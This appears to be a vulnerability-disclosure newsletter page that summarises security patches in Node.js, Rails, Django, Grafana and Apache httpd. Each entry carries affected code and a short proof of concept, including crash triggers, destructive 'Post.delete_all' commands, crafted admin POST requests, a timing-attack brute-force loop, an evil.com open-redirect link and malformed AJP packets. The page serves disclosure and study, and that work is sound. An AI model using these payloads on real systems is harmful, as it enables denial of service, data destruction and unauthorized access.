📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Wednesday, August 12, 2026

📋 Today’s Briefing

373
Total Findings
92
Confirmed CVEs
204
Verified
9
Unverified
68
False Positives
CRITICAL: 3 HIGH: 150 MEDIUM: 131 LOW: 21
92 CVE matched
72 found before CVE
3 avg lead (days)
76 max lead (days)

🔥 HIGH VERIFIED Denial of Service (Crash via Assertion Failure)

May 21, 2026, 09:16 PM — nodejs/node

Commit: fcddd35095f8d754729527b2b7b300a549db2a20

Author: James M Snell

Before the patch, if a QUIC session was closed during an early handshake failure (before the HTTP/3 application was fully started), the server would call `nghttp3_conn_submit_shutdown_notice` and `nghttp3_conn_shutdown` on an nghttp3 connection whose control streams were never bound. This caused an assertion failure inside nghttp3 (asserting `conn->tx.ctrl != NULL`), crashing the Node.js process. The fix adds a `started_` guard so these functions are only called after the H3 application has fully initialized its control streams.

🔍 View Affected Code & PoC

Affected Code

void BeginShutdown() override {
    if (conn_) nghttp3_conn_submit_shutdown_notice(*this);
  }

  void CompleteShutdown() override {
    if (conn_) nghttp3_conn_shutdown(*this);
  }

Proof of Concept

// Connect to an HTTP/3 server with h3 ALPN and immediately close before handshake completes:
const { listen, connect } = await import('node:quic');
const serverEndpoint = await listen(async (serverSession) => { await serverSession.closed; }, { sni: { '*': { keys: [key], certs: [cert] } } });
const clientSession = await connect(serverEndpoint.address, { servername: 'localhost' });
await clientSession.close(); // Immediately close — triggers BeginShutdown/CompleteShutdown on server with unbound H3 control streams, causing nghttp3 assertion failure and process crash

🔥 HIGH VERIFIED Security Control Bypass (Read-Only Restriction Bypass)

May 21, 2026, 02:02 PM — rails/rails

Commit: f928d48de850d326e32c3382077817af796a5f29

Author: fatkodima

The `execute_ar` and `run_explain` methods evaluated ActiveRecord expressions outside of a readonly connection context, allowing write operations to bypass the intended read-only restriction. An attacker with access to the `rails query` command could execute destructive AR expressions like `Post.delete_all` or `Post.first.update!(title: 'hacked')` that modify the database. The patch wraps the `eval` calls inside `with_readonly_connection {}` blocks so that any database writes attempted during expression evaluation are rejected.

🔍 View Affected Code & PoC

Affected Code

def execute_ar(expression:, page:, per:)
  result = eval(expression, TOPLEVEL_BINDING, "(query)", 1)

Proof of Concept

# Before the patch, running the following would successfully delete all posts despite the command being advertised as read-only:
rails query "Post.delete_all"
# Or update a record:
rails query 'Post.first.update!(title: "hacked")'
# These writes would succeed because eval() ran outside the readonly connection context, allowing write queries through.

🔥 HIGH VERIFIED Readonly Bypass / Unauthorized Write via ActiveRecord eval

May 21, 2026, 01:52 PM — rails/rails

Commit: 299d2c922661e3fd9f2ed8daa3cf10ea38018e4b

Author: Andy Jeffries

The `execute_ar` and `run_explain` methods evaluated ActiveRecord expressions without wrapping them in a readonly connection context. This meant destructive ActiveRecord calls like `Post.delete_all`, `Post.first.update!(...)`, or `Post.destroy_all` could bypass the intended read-only protection and execute write operations against the database. The patch wraps the `eval` calls with `with_readonly_connection { ... }` to enforce the readonly constraint during expression evaluation.

🔍 View Affected Code & PoC

Affected Code

def execute_ar(expression:, page:, per:)
  result = eval(expression, TOPLEVEL_BINDING, "(query)", 1)

Proof of Concept

rails query "Post.delete_all"  # Before patch: deletes all posts despite the command being advertised as read-only
rails query "Post.first.update!(title: 'hacked')"  # Before patch: updates a record bypassing readonly mode
# In both cases, the DB write succeeds and data is permanently modified, defeating the security guarantee of the read-only query interface.

🔥 HIGH VERIFIED Improper Authorization / CSRF-like Action Targeting

May 20, 2026, 12:04 PM — django/django

Commit: 7c125f6a6660a70a0568448b2e40db273a456479

Author: Sarah Boyce

Before the patch, the Django admin change form allowed actions to be executed against arbitrary objects, not just the object being edited. An attacker could craft a POST request to a change form URL (for object A) but include the ACTION_CHECKBOX_NAME value of a different object (object B), causing the action to be executed on object B instead. This allowed privilege escalation or unauthorized modification/deletion of objects the user might not intend to affect. The fix adds a server-side check ensuring the checkbox value matches exactly the object being edited.

🔍 View Affected Code & PoC

Affected Code

queryset = self.model._default_manager.get_queryset()
if response := self.response_action(
    request, queryset, action_location=ActionLocation.CHANGE_FORM
):
    return response

Proof of Concept

# Attacker visits change form for object s1 (pk=1) but targets object s2 (pk=2) with an action:
import requests

session = requests.Session()
# Assume already authenticated as a user with change permission on ExternalSubscriber

response = session.post(
    'http://example.com/admin/admin_views/externalsubscriber/1/change/',
    data={
        'csrfmiddlewaretoken': '<valid_token>',
        'CHANGE_FORM-action': 'delete_selected',  # or any destructive action
        '_selected_action': '2',  # pk of a DIFFERENT object (s2)
        'index': '0',
    }
)
# Before patch: action runs on object pk=2, even though URL is for object pk=1
# After patch: returns HTTP 400 Bad Request

⚠️ MEDIUM VERIFIED Denial of Service (ReDoS/Algorithmic Complexity)

May 20, 2026, 06:34 AM — rails/rails

Commit: f75b06112051d40769e08aa3475a4969c71f1dec

Author: Jean Boussier

Calling `to_i` on very long strings in Ruby can take an extremely long time due to the algorithmic complexity of bignum conversion, which can be exploited as a DoS vector. Before the patch, `ActiveModel::Type::Integer#cast_value` would call `to_i` on arbitrarily long strings without any length limit. The patch fixes this by truncating strings to `_limit * 4` bytes (e.g., 16 bytes for a 4-byte integer) before calling `to_i`.

🔍 View Affected Code & PoC

Affected Code

def cast_value(value)
  value.to_i rescue nil
end

Proof of Concept

# Rails application with a model that has an integer column:
# User.create(age: '9' * 5_000_000)
# Or via HTTP request to any Rails endpoint that accepts integer parameters:
# POST /users with body: age=999999999999999999999999999999999999999999....(5MB of 9s)
# This causes the server to hang for seconds/minutes while computing to_i on a 5MB string

🔥 HIGH VERIFIED Denial of Service (ReDoS/CPU exhaustion via to_i on long strings)

May 20, 2026, 06:33 AM — rails/rails

Commit: 6ee1adf7d5e92457e99c44cf9851845664293a71

Author: Aaron Patterson

Before this patch, ActiveModel::Type::Integer would call `to_i` on arbitrarily long strings without any length restriction. Ruby's `to_i` on a very large string (e.g., 5 MB of digits) performs significant computational work proportional to the string length, allowing an attacker to send a large integer string in any parameter that gets cast to an integer (e.g., an ID or age field) to cause severe CPU exhaustion and denial of service. The patch limits the input to `_limit * 4` bytes before calling `to_i`.

🔍 View Affected Code & PoC

Affected Code

def cast_value(value)
  value.to_i rescue nil
end

Proof of Concept

# Attacker sends a POST/GET request with a very large integer string for any integer-typed parameter:
# e.g., POST /users with age=999999999999999999... (5 million '9' chars)
# In Rails app:
# User.create(age: '9' * 5_000_000)
# This causes Ruby to call ('9' * 5_000_000).to_i which walks the entire 5MB string,
# consuming significant CPU time. Repeated requests cause DoS.
# Benchmark: ('9' * 5_000_000).to_i takes ~100-500ms per call on typical hardware.
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-6907 Information Disclosure / Cache Poisoning

May 5, 2026, 12:34 PM — django/django

📈 Patch landed 5 hours 59 minutes before CVE published

Commit: c79bdfc1351ef2a2ad95df36241a74c736ef20a1

Author: Sarah Boyce

Django's UpdateCacheMiddleware erroneously cached responses where the Vary header contained an asterisk ('*'). Per RFC 7231, 'Vary: *' means the response is unique per request and must never be served from cache, as it may contain private/user-specific data. An attacker could potentially receive cached private data intended for another user if the server responded with Vary: * but Django still stored and served it from cache.

🔍 View Affected Code & PoC

Affected Code

def process_response(self, request, response):
    # (no check for Vary: * before caching)
    # Page timeout takes precedence over the "max-age" and the default
    # cache timeout.
    timeout = self.page_timeout

Proof of Concept

# 1. A view sets 'Vary: *' to indicate the response is user-specific:
def private_view(request):
    response = HttpResponse(f"Secret data for {request.user}")
    response['Vary'] = '*'
    return response

# 2. User A makes a request - response gets cached by UpdateCacheMiddleware
# GET /private/ (logged in as user_A) -> response cached with key based on URL

# 3. User B makes the same request - FetchFromCacheMiddleware serves cached response
# GET /private/ (logged in as user_B) -> receives 'Secret data for user_A'
# The Vary: * should have prevented caching, but Django cached it anyway
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-35192 Session Fixation / Cache Poisoning

May 5, 2026, 12:34 PM — django/django

📈 Patch landed 5 hours 59 minutes before CVE published

Commit: 7f6e9b55130d5158804c0acbc0b24ccb7422ed82

Author: Jake Howard

When SESSION_SAVE_EVERY_REQUEST=True, Django's session middleware would set a session cookie on responses but failed to include 'Vary: Cookie' in the response headers when the session was not explicitly modified. This meant caching proxies could cache a response containing a Set-Cookie header with a specific session key, and serve that cached response (with that session cookie) to other users, allowing an attacker to steal or fixate another user's session. The patch ensures that whenever a session cookie is set in the response, the Vary: Cookie header is also added.

🔍 View Affected Code & PoC

Affected Code

if (modified or settings.SESSION_SAVE_EVERY_REQUEST) and not empty:
    ...
    response.set_cookie(
        settings.SESSION_COOKIE_NAME,
        ...  # Cookie set but Vary header NOT added here

Proof of Concept

1. Configure Django with SESSION_SAVE_EVERY_REQUEST=True and a caching proxy (e.g., Varnish/Nginx) in front.
2. Attacker visits a public page (e.g., GET /public/) - Django creates/renews a session cookie in the response but does NOT set 'Vary: Cookie', so the caching proxy caches the response including the Set-Cookie header with the attacker's session_key.
3. A legitimate user visits GET /public/ - the caching proxy returns the cached response, setting the attacker's session cookie on the victim's browser.
4. Both attacker and victim now share the same session_key, allowing the attacker to access any session data the victim subsequently stores (e.g., after login if session is reused).
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-5766 Denial of Service (Resource Exhaustion)

May 5, 2026, 12:33 PM — django/django

📈 Patch landed 5 hours 59 minutes before CVE published

Commit: 5a89e341bfc77dd67b7fd57b7091b6430558e1f4

Author: Jacob Walls

In Django's ASGI deployments, the MemoryFileUploadHandler relied solely on the Content-Length header to determine whether a file upload should be stored in memory. Since ASGI doesn't guarantee that Content-Length accurately reflects the actual request body size (e.g., with chunked transfer encoding or a deliberately understated header), an attacker could send a multipart file upload with a small or missing Content-Length value but a very large body, bypassing FILE_UPLOAD_MAX_MEMORY_SIZE and forcing the server to load arbitrarily large files into memory. The patch fixes this by seeking to the end of the stream to measure the actual size when possible, falling back to Content-Length only for non-seekable streams.

🔍 View Affected Code & PoC

Affected Code

self.activated = content_length <= settings.FILE_UPLOAD_MAX_MEMORY_SIZE

Proof of Concept

import asyncio
from asgiref.testing import ApplicationCommunicator
from django.core.asgi import get_asgi_application

# Send multipart upload with Content-Length: 9 but actual body is 10MB
boundary = b'testboundary'
file_content = b'x' * 10_000_000  # 10MB
body = (b'--' + boundary + b'\r\nContent-Disposition: form-data; name="file"; filename="big.bin"\r\nContent-Type: application/octet-stream\r\n\r\n' + file_content + b'\r\n--' + boundary + b'--\r\n')

scope = {
    'type': 'http',
    'method': 'POST',
    'path': '/upload/',
    'headers': [
        (b'content-type', b'multipart/form-data; boundary=testboundary'),
        (b'content-length', b'9'),  # Deliberately understated
    ],
}
# With FILE_UPLOAD_MAX_MEMORY_SIZE=1000 and the old code:
# content_length=9 <= 1000, so handler.activated=True
# The entire 10MB file gets loaded into memory despite the limit

⚠️ MEDIUM VERIFIED Improper Authorization / Privilege Escalation

May 4, 2026, 04:12 PM — grafana/grafana

Commit: 0dacf3519331a1a7f1c3580cea58bc4cd1c76e55

Author: Matheus Macabu

Before the patch, any user or service account could modify the `ownerReferences` field of a SecureValue during an update operation. This allowed unprivileged users to convert a shared secure value (with an owner reference linking it to a data source or other resource) into an inline one or vice versa, potentially bypassing access control policies that depend on owner references to determine secret scope and access. The patch restricts `ownerReferences` mutations to only `AccessPolicy` identity types, preserving the existing references for all other callers.

🔍 View Affected Code & PoC

Affected Code

// In Update(), before the patch, newSecureValue.OwnerReferences was passed through
// unchanged regardless of caller identity, allowing any user to set arbitrary owner references.
keeperCfg, err := s.keeperMetadataStorage.GetKeeperConfig(ctx, currentVersion.Namespace, currentVersion.Status.Keeper, contracts.ReadOpts{})

Proof of Concept

// A regular user or service account performs an update request:
// 1. Attacker has access to update a SecureValue 'my-secret' in namespace 'ns1'
// 2. The secret currently has ownerReferences=[] (inline secret, restricted access)
// 3. Attacker sends an update with ownerReferences=[{kind: DataSource, name: shared-ds}]
//    transforming it into a shared secret accessible by the data source owner
// kubectl patch securevalue my-secret --type=merge -p '{"metadata":{"ownerReferences":[{"apiVersion":"v0alpha1","kind":"DataSource","name":"shared-ds","uid":"abc123"}]}}'
// Before patch: ownerReferences would be updated, changing secret ownership/access scope
// After patch: ownerReferences are silently preserved from the current stored value

🔥 HIGH VERIFIED Process Crash / Denial of Service

Apr 30, 2026, 04:52 PM — nodejs/node

Commit: 80e0f14f8eaf4909e330900c3caebd3ddd3d210b

Author: Nicola Del Gobbo

Before the patch, calling `pathToFileURL()` with a UNC path containing a malformed hostname (e.g., one with a space) would cause a Node.js process crash via a failed `CHECK()` assertion. The `CHECK(out-&gt;set_hostname(...))` call aborts the process when `set_hostname()` returns false for invalid hostnames. The fix replaces the hard crash with a proper `ERR_INVALID_URL` exception.

🔍 View Affected Code & PoC

Affected Code

CHECK(out->set_hostname(hostname.ToStringView()));

Proof of Concept

// Run in Node.js (any version before the patch):
const url = require('url');
url.pathToFileURL('\\\\exa mple\\share\\file.txt', { windows: true });
// Result: Process crashes with CHECK failure (abort) instead of throwing an error
// On Windows without the { windows: true } option, the same occurs naturally

⚠️ MEDIUM VERIFIED Open Redirect

Apr 28, 2026, 06:01 PM — grafana/grafana

Commit: 3727e122ed2d74b364562bd841db20611ce29ea0

Author: Ryan Melendez

The original `handleRedirectTo` function in `app.ts` consumed a stored redirect URL from sessionStorage after login without checking whether the URL belonged to the same origin. An attacker could craft a login URL containing `?redirectTo=https://evil.com/phishing` to store a cross-origin URL, which would then be passed directly to `locationService.replace()` after the user logged in, redirecting them to an attacker-controlled site. The patch adds an origin check using `new URL()` to ensure only same-origin redirects are followed via frontend navigation.

🔍 View Affected Code & PoC

Affected Code

window.sessionStorage.removeItem(RedirectToUrlKey);
let decodedRedirectTo = decodeURIComponent(redirectTo);
if (decodedRedirectTo.startsWith('/goto/')) {
  const urlToRedirectTo = locationUtil.assureBaseUrl(decodedRedirectTo);
  window.location.replace(urlToRedirectTo);
  return;
}
const stripped = locationUtil.stripBaseFromUrl(decodedRedirectTo);
locationService.replace(stripped);

Proof of Concept

1. Attacker sends victim a crafted link: https://grafana.example.com/login?redirectTo=https://evil.com/steal-credentials
2. Victim clicks the link; the login page stores `encodeURIComponent('https://evil.com/steal-credentials')` in sessionStorage under RedirectToUrlKey
3. Victim logs in successfully
4. `handleRedirectTo()` is called, decodes the stored value to `https://evil.com/steal-credentials`, which doesn't start with `/goto/`, so it calls `locationService.replace('https://evil.com/steal-credentials')`
5. Victim is redirected to the attacker's phishing site with their browser in an authenticated context

🔥 HIGH VERIFIED Improper Authorization / Permission Bypass

Apr 28, 2026, 05:44 PM — django/django

Commit: 5b3cfce51770f46c6dc100e9be7f199a37176762

Author: Artyom Kotovskiy

Before the patch, when a POST request was submitted to the Django admin changelist view with list_editable fields, the formset used for saving data was constructed directly with `FormSet(request.POST, request.FILES, queryset=modified_objects)` rather than going through `_get_formset_with_permissions()`. This meant the per-object permission check that removes editable fields for unauthorized objects was bypassed during form submission. An authenticated admin user with restricted per-object change permissions could modify objects they were not permitted to edit by crafting a POST request to the changelist view.

🔍 View Affected Code & PoC

Affected Code

cl.formset = FormSet(request.POST, request.FILES, queryset=modified_objects)

Proof of Concept

# Setup: User has change permission only for objects where obj.alive=True (per PersonNoChangePermissionsAdmin9)
# per2 has alive=False, so user should NOT be able to edit it
# But before the patch, POST directly to changelist bypasses per-object permission:
import requests
data = {
    'form-TOTAL_FORMS': '1',
    'form-INITIAL_FORMS': '1',
    'form-MAX_NUM_FORMS': '0',
    'form-0-id': str(per2.pk),  # per2 is not editable (alive=False)
    'form-0-gender': '2',       # attempt to change gender
    '_save': 'Save',
}
response = requests.post('/admin9/admin_views/person/', data=data, cookies=session_cookie)
# Before patch: per2.gender is updated to 2 despite lacking permission
# After patch: per2.gender remains unchanged because _get_formset_with_permissions() strips fields for unauthorized objects

⚠️ MEDIUM VERIFIED Crash / Denial of Service (Assertion Failure)

Apr 28, 2026, 04:49 PM — nodejs/node

Commit: 4247cd305b4f6d79912caaaf105faad324d3bc83

Author: semimikoh

Before the patch, `GetErrorSource()` in `node_errors.cc` could trigger a `CHECK_GE(end, start)` assertion failure (process crash) when V8 reported a negative or invalid `end` column for certain malformed JavaScript syntax (e.g., invalid `using` declarations). The patch removes the hard assertion and instead adds a guard so that the underflow arithmetic and out-of-bounds access are avoided, returning early if `end &lt; script_start` or `end &lt; 0`. This could be triggered by any user-supplied JavaScript evaluated by Node.js, causing a denial of service.

🔍 View Affected Code & PoC

Affected Code

if (start >= script_start) {
    CHECK_GE(end, start);
    start -= script_start;
    end -= script_start;
  }

Proof of Concept

// Run with: node poc.js
// Node.js crashes with an assertion failure (CHECK_GE) before the patch
const { runInNewContext } = require('vm');
try {
  runInNewContext('using');
} catch (e) {
  // Without patch: process aborts due to CHECK_GE(end, start) failing
  // With patch: SyntaxError is thrown and caught normally
  console.log('Caught:', e.message);
}
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33006 Timing Side-Channel Attack (Authentication Bypass)

Apr 27, 2026, 12:54 PM — apache/httpd

📈 Patch landed 7 days 2 hours 36 minutes before CVE published

Commit: 7f5de0aebf5c04796aa9c25153413b09d609763b

Author: Joe Orton

The code before the patch used non-constant-time comparison functions (apr_crypto_equals was already constant-time, but the local implementation in mod_session_crypto.c and the reliance on apr_crypto_equals without a guaranteed fallback) when comparing cryptographic digests in digest authentication and session crypto. A timing attack against the digest comparison in mod_auth_digest could allow an attacker to determine the correct digest byte-by-byte by measuring response times, potentially enabling authentication bypass. The patch replaces these comparisons with guaranteed constant-time functions.

🔍 View Affected Code & PoC

Affected Code

if (!apr_crypto_equals(resp->digest, old_digest(r, resp), MD5_DIGEST_LEN)) {
    // and
if (!apr_crypto_equals(resp->digest, exp_digest, MD5_DIGEST_LEN)) {
    // and in mod_session_crypto.c:
if (!ap_crypto_equals(auth, decoded, AP_SIPHASH_DSIZE)) {

Proof of Concept

Timing attack against mod_auth_digest: Send repeated HTTP Digest Authentication requests with modified 'response' field values, measuring the time taken for the server to respond. By iterating over possible values for each byte of the MD5 digest and measuring which value causes a slightly longer response (due to non-constant-time comparison returning earlier on mismatch), an attacker can determine the correct digest one byte at a time without knowing the password. Example script concept:

for byte_pos in range(MD5_DIGEST_LEN):
    for candidate in range(256):
        crafted_digest = known_prefix + chr(candidate) + arbitrary_suffix
        t = measure_response_time(send_digest_auth_request(crafted_digest))
        if t > threshold:
            known_prefix += chr(candidate)  # found correct byte
            break
# After completing all bytes, use the reconstructed digest to authenticate.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33523 HTTP Response Splitting

Apr 26, 2026, 04:30 PM — apache/httpd

📈 Patch landed 7 days 23 hours before CVE published

Commit: 38809faac18bfc8e610b4196c6dad6f481aa1376

Author: Eric Covener

The validate_status_line function in Apache httpd failed to check for newline characters and control characters in the status line reason phrase (the text after the 3-digit status code). An attacker who could influence the status line (e.g., via a proxied backend response or certain CGI/module interactions) could inject CRLF sequences to inject arbitrary HTTP response headers or split the response. The patch adds a call to ap_scan_http_field_content to reject any status line containing invalid characters.

🔍 View Affected Code & PoC

Affected Code

if (len > 4 && *ap_scan_http_field_content(r->status_line + 4)) {
            r->status_line = NULL;
            return APR_EGENERAL;
        }
        return APR_SUCCESS;

Proof of Concept

A backend or CGI sets a custom status line like: 'HTTP/1.1 200 OK\r\nSet-Cookie: injected=value'. Before the patch, if r->status_line was set to '200 OK\r\nSet-Cookie: injected=value', the validate_status_line function would pass it through, and Apache would forward the injected header to the client. Exploit: configure a reverse proxy to a malicious backend that responds with status line containing CRLF: e.g., send response status '200 OK\r\nX-Injected: malicious' — Apache would relay the injected header to the downstream client.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33006 Timing Attack / Authentication Bypass

Apr 26, 2026, 04:25 PM — apache/httpd

📈 Patch landed 7 days 23 hours 5 minutes before CVE published

Commit: cd414337011b47f43ede96ce1dd2bd9c869e031f

Author: Eric Covener

The code before the patch used strcmp() to compare digest authentication hashes, which is vulnerable to timing attacks. An attacker could measure response times to infer the correct digest value byte-by-byte. The patch replaces strcmp() with apr_crypto_equals(), which performs a constant-time comparison that prevents timing oracle attacks on the authentication mechanism.

🔍 View Affected Code & PoC

Affected Code

if (strcmp(resp->digest, old_digest(r, resp))) {
...
}
if (strcmp(resp->digest, exp_digest)) {
...
}
if (strcmp(hash, resp->nonce+NONCE_TIME_LEN)) {

Proof of Concept

An attacker can exploit the timing difference in strcmp() to brute-force the digest response:
1. Send many Authorization: Digest requests with varying 'response' field values (hex strings)
2. Measure response times for each attempt
3. Since strcmp() returns as soon as a byte mismatch is found, a response that matches more prefix bytes takes slightly longer
4. For each position, try all 16 hex characters (0-9, a-f) and pick the one with the highest response time
5. Repeat for all 32 hex characters (MD5_DIGEST_LEN=32) to recover valid digest
Example: Using timing measurements, attacker iterates:
  curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="0000..."' http://target/
  curl -H 'Authorization: Digest username="user", realm="realm", nonce="...", uri="/", response="1000..."' http://target/
  ... measure which prefix yields longer response time to determine correct bytes

🔥 HIGH VERIFIED Privilege Escalation / Security Bypass via Unrestricted Expression Evaluation

Apr 26, 2026, 03:59 PM — apache/httpd

Commit: cfb8882f04b1c986656f6b19c487ab27810071b9

Author: Eric Covener

When Apache HTTP Server processed ap_expr expressions in .htaccess files (htaccess context), it used the full unrestricted expression parser instead of the restricted one. This allowed users with .htaccess write access to use dangerous ap_expr functions (such as %{req:...}, %{env:...}, file system functions, or other privileged lookups) that are normally restricted to server configuration. The patch adds AP_EXPR_FLAG_RESTRICTED when parsing expressions in htaccess context across mod_rewrite, mod_setenvif, and mod_proxy_fcgi.

🔍 View Affected Code & PoC

Affected Code

newcond->expr = ap_expr_parse_cmd(cmd, a2, flags, &err, NULL);
// and:
new->expr = ap_expr_parse_cmd(cmd, expr, 0, &err, NULL);
// and:
new->cond = ap_expr_parse_cmd(cmd, arg1, 0, &err, NULL);

Proof of Concept

In a .htaccess file, an attacker with write access could use expressions that are supposed to be restricted to server-level config. For example:

# In .htaccess using RewriteCond with ap_expr:
RewriteCond expr "%{osenv:SECRET_ENV_VAR} -eq 1"
RewriteRule ^ /leaked [R]

# Or using SetEnvIfExpr to read sensitive data:
SetEnvIfExpr "osenv('SECRET_KEY') =~ /(.*)/ " leak=$1

The unrestricted parser allowed access to functions like osenv() which expose server-side environment variables and other sensitive data not intended to be accessible from .htaccess context.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-28780 Buffer Overflow / Integer Overflow

Apr 26, 2026, 03:57 PM — apache/httpd

📈 Patch landed 9 days 8 hours 34 minutes before CVE published

Commit: 76dac5d445a36751f4b9f8c3abd8f10b07904528

Author: Eric Covener

The `ajp_msg_check_header` function checked if the AJP message body length (`msglen`) exceeded `msg-&gt;max_size`, but the buffer also includes `AJP_HEADER_LEN` bytes for the header itself. Since `msglen` refers only to the body/payload length, the actual data written would be `msglen + AJP_HEADER_LEN` bytes, potentially overflowing the allocated buffer if `msglen` is close to `max_size`. The fix corrects the comparison to `msg-&gt;max_size - AJP_HEADER_LEN` so that the total data (header + body) never exceeds the buffer capacity.

🔍 View Affected Code & PoC

Affected Code

if (msglen > msg->max_size) {
    ap_log_error(APLOG_MARK, APLOG_ERR, 0, NULL, APLOGNO(01081)
                 "ajp_msg_check_header() incoming message is "
                 "too big %" APR_SIZE_T_FMT ", max is %" APR_SIZE_T_FMT,
                 msglen, msg->max_size);

Proof of Concept

Send a crafted AJP message from the backend (Tomcat or malicious server) with the 2-byte length field in the AJP header set to (max_size - AJP_HEADER_LEN + 1), e.g., if max_size=8192 and AJP_HEADER_LEN=4, set msglen=8189 (0x1FFD). Before the patch, 8189 < 8192 passes the check, but reading 4 (header) + 8189 = 8193 bytes into the 8192-byte buffer causes a 1-byte heap overflow. A malicious AJP backend can craft: bytes [0x41, 0x42, 0x1F, 0xFD, ...8189 bytes of payload...] causing mod_proxy_ajp to overflow its message buffer.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-34059 Integer Underflow / Out-of-Bounds Read

Apr 26, 2026, 03:53 PM — apache/httpd

📈 Patch landed 7 days 23 hours 37 minutes before CVE published

Commit: 91d14cb926b1be8a53ebc334d6274027be99ac12

Author: Eric Covener

Before the patch, `ajp_parse_data` computed `expected_len = msg-&gt;len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1)` without first verifying that `msg-&gt;len` is large enough. If a malicious AJP backend sends a crafted message with `msg-&gt;len` smaller than the constant subtrahend (e.g., msg-&gt;len = 0 or very small), the subtraction wraps around to a large positive value (integer/size_t underflow). This incorrect `expected_len` is then compared against the caller-supplied `*len`, potentially allowing a malformed AJP DATA message to bypass length validation and cause subsequent out-of-bounds memory reads. The patch adds a guard that returns an error if the message is too small before performing the subtraction.

🔍 View Affected Code & PoC

Affected Code

expected_len = msg->len - (AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 1 + 1);
if (*len != expected_len) {

Proof of Concept

A malicious or compromised AJP backend sends an AJP DATA packet with the packet body length field set to a value smaller than AJP_HEADER_LEN + AJP_HEADER_SZ_LEN + 2 (e.g., total msg->len = 2). The subtraction `2 - (4 + 2 + 1 + 1)` wraps to a large apr_size_t value (~0xFFFFFFF8 on 32-bit), causing `expected_len` to be enormous. If `*len` happens to match this wrapped value (or the check is bypassed), the code proceeds to read/copy data far beyond the actual message buffer boundary, resulting in an out-of-bounds read that could expose sensitive process memory or crash the proxy worker.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-34032 Buffer Over-read / Out-of-Bounds Read

Apr 26, 2026, 03:50 PM — apache/httpd

📈 Patch landed 7 days 23 hours 40 minutes before CVE published

Commit: 250fa4a42f43a6ddf99861dfa910971eff69eced

Author: Eric Covener

The original check `size + start &gt; msg-&gt;max_size` was incorrect in two ways: it compared against max_size (the allocated buffer capacity) rather than msg-&gt;len (the actual data length), and used strict greater-than rather than greater-than-or-equal. This allowed a malicious AJP backend to send a crafted AJP message where the string size field indicates more bytes than are actually present in the message, causing Apache httpd to read beyond valid message data. The patch corrects the bounds check to use msg-&gt;len and also verifies the required null terminator is present at the expected position.

🔍 View Affected Code & PoC

Affected Code

if ((status != APR_SUCCESS) || (size + start > msg->max_size)) {
    return ajp_log_overflow(msg, "ajp_msg_get_string");
}

Proof of Concept

Craft a malicious AJP response packet where the string length field is set to a value larger than the remaining bytes in the message but smaller than max_size (the full buffer allocation). For example, if msg->len=100 and msg->max_size=8192, send a string header with size=8000 and start=50: size+start=8050 which does NOT exceed max_size (8192) so the old check passes, but the code then reads 8000 bytes starting at position 50 even though only 50 bytes of valid data remain in the message, leaking heap memory contents beyond the AJP message boundary into parsed HTTP response headers.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33857 Out-of-Bounds Read

Apr 26, 2026, 03:47 PM — apache/httpd

📈 Patch landed 7 days 23 hours 43 minutes before CVE published

Commit: 17e874e2781c1bbbeb2213bd580d371a1091085b

Author: Eric Covener

The AJP message parsing functions in Apache httpd used incorrect boundary checks (&gt; instead of &gt;=), allowing a read of exactly one byte beyond the valid message buffer. For example, ajp_msg_get_uint8 and ajp_msg_peek_uint8 used `msg-&gt;pos &gt; msg-&gt;len` when they should use `&gt;=`, meaning when pos == len (pointing just past the last byte) the check would pass and a byte at msg-&gt;buf\[msg-&gt;len\] would be read out of bounds. Similarly, ajp_msg_get_uint16/peek_uint16 allowed reading 2 bytes when only 1 remained, and ajp_msg_get_uint32 allowed reading 4 bytes when only 3 remained. A malicious AJP backend could craft a response that exploits this to cause an out-of-bounds read.

🔍 View Affected Code & PoC

Affected Code

if (msg->pos > msg->len) {
    return ajp_log_overflow(msg, "ajp_msg_get_uint8");
}

Proof of Concept

A malicious AJP backend sends a response message where the data payload is exactly N bytes, but the AJP response headers indicate there is one more field to read. When Apache httpd calls ajp_msg_get_uint8() with msg->pos == msg->len, the check `msg->pos > msg->len` evaluates to false (since they are equal), so the function proceeds to read msg->buf[msg->pos] which is one byte past the end of the valid message buffer, resulting in an out-of-bounds read. Concretely: craft an AJP SEND_HEADERS response with msg->len=10 and position the read cursor so pos=10, then the function reads buf[10] which is outside the allocated message data.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21727 Insecure Direct Object Reference / Data Isolation Bypass

Apr 24, 2026, 03:12 PM — grafana/grafana

Patch landed 8 days 17 hours 42 minutes after CVE published

Commit: cb6656772084af7184a39f88d303d30136a9c3df

Author: Yuri Tseretyan

The UpdateAdminConfiguration function used xorm's fluent Where+Update(struct) pattern, but xorm resolves the target row by primary key when a struct is passed to Update(), silently ignoring the WHERE org_id clause. This caused all rows in the ngalert_configuration table to be updated when multiple organizations existed, allowing one org's configuration update to overwrite alert routing settings for all other orgs. The fix fetches the existing row first to get its primary key, then uses .ID() to scope the UPDATE to exactly that one record.

🔍 View Affected Code & PoC

Affected Code

_, err = sess.Table("ngalert_configuration").Where("org_id = ?", cmd.AdminConfiguration.OrgID).Cols(
    buildUpdateCols(cmd.AdminConfiguration)...,
).Update(cmd.AdminConfiguration)

Proof of Concept

Scenario: Two orgs (ID=1, ID=2) each have an ngalert_configuration row. Org 1 has SendAlertsTo=ExternalAlertmanagers, Org 2 has SendAlertsTo=ExternalAlertmanagers.

Attacker (or any user with org-2 admin rights) calls UpdateAdminConfiguration for org 2 with SendAlertsTo=InternalAlertmanager.

Before the patch, xorm ignores the WHERE org_id=2 clause and updates ALL rows by PK=0 (default), effectively updating every org's configuration to InternalAlertmanager. This means org 1's alert routing is silently changed without its admin's knowledge, potentially suppressing external alertmanager notifications for org 1.

⚠️ MEDIUM VERIFIED Proxy Bypass / Security Control Bypass

